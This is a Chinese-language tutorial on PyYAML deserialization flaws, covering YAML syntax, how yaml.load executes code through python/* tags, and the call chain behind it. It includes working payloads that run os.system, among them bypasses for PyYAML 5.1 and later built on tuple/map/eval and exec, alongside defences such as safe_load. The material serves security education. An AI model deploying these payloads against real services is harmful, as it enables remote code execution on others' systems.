PyYaml反序列化漏洞
字数 1404 2025-08-06 12:20:59
PyYAML反序列化漏洞深度分析
YAML基础
YAML是一种人类可读的数据序列化格式,常用于配置文件和数据交换。其设计目标是易于阅读和编写,并能被不同编程语言解析。
基本语法
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用tab,只允许空格
- 缩进的空格数不重要,只要相同层级的元素左对齐
- 在同一个yml文件中用
---隔开多份配置 #表示注释!!表示强制类型转换
数据类型
YAML支持以下几种数据类型:
- 对象:键值对的集合(映射/哈希/字典)
- 数组:一组按次序排列的值(序列/列表)
- 纯量:单个的、不可再分的值
类型转换
使用!!进行强制类型转换,例如:
str: !!str 123
将被转换为{'str': '123'}
引用
使用&、*和<<:
&建立锚点<<表示合并到当前数据*引用锚点
PyYAML反序列化漏洞分析
PyYAML<5.1版本漏洞
漏洞成因
PyYAML<5.1版本中,yaml.load()和yaml.load_all()方法存在安全风险,主要由于以下五个Python标签:
python/namepython/modulepython/objectpython/object/newpython/object/apply
这些标签在constructor.py文件中被加载器解析时,可能导致任意命令执行。
利用方法
- python/object/apply标签:
yaml.load('!!python/object/apply:os.system ["whoami"]')
# 或
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
- python/module标签:
# 假设存在upload/exp.py文件
yaml.load("!!python/module:upload.exp")
- python/name标签:
key = "114514"
b = yaml.load('!!python/name:__main__.key')
- 组合利用:
yaml.load("!!python/object:upload.exp.ikun")
yaml.load('!!python/object/apply:upload.exp {}')
yaml.load('!!python/object/new:upload.exp {}')
PyYAML>=5.1版本
在PyYAML>=5.1版本中,官方修复了直接通过__import__引入模块的漏洞,默认加载器改为FullConstructor,增加了以下限制:
- 加载的模块必须位于
sys.modules中 - 加载进来的
module.name必须是一个类
绕过方法
- 使用
unsafe_load:
yaml.unsafe_load(payload)
yaml.load(payload, Loader=UnsafeLoader)
- 在默认加载器下的利用:
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
- 高级利用方式:
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
- 组合利用:
payload = """
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
防御措施
- 使用
safe_load替代load - 升级PyYAML到最新版本
- 对输入进行严格过滤
- 使用更安全的序列化格式如JSON
技术原理分析
关键函数调用链
construct_python_object_apply->make_python_instance->find_python_name->__import__construct_python_module->find_python_module->__import__construct_python_name->find_python_name->__import__
为什么tuple可用而list不可用
在Python底层实现中:
- 元组(tuple):不可变类型,创建时需要提供所有元素,会完整处理所有参数
- 列表(list):可变类型,创建时不需要提供元素,
__new__方法会创建空列表实例
因此使用tuple可以确保map函数被完整执行,而list则不会。
总结
PyYAML反序列化漏洞是一个严重的安全问题,攻击者可以通过精心构造的YAML数据实现任意代码执行。理解其原理和利用方式对于安全防护至关重要。开发者应始终使用安全的方法处理YAML数据,并保持库的更新。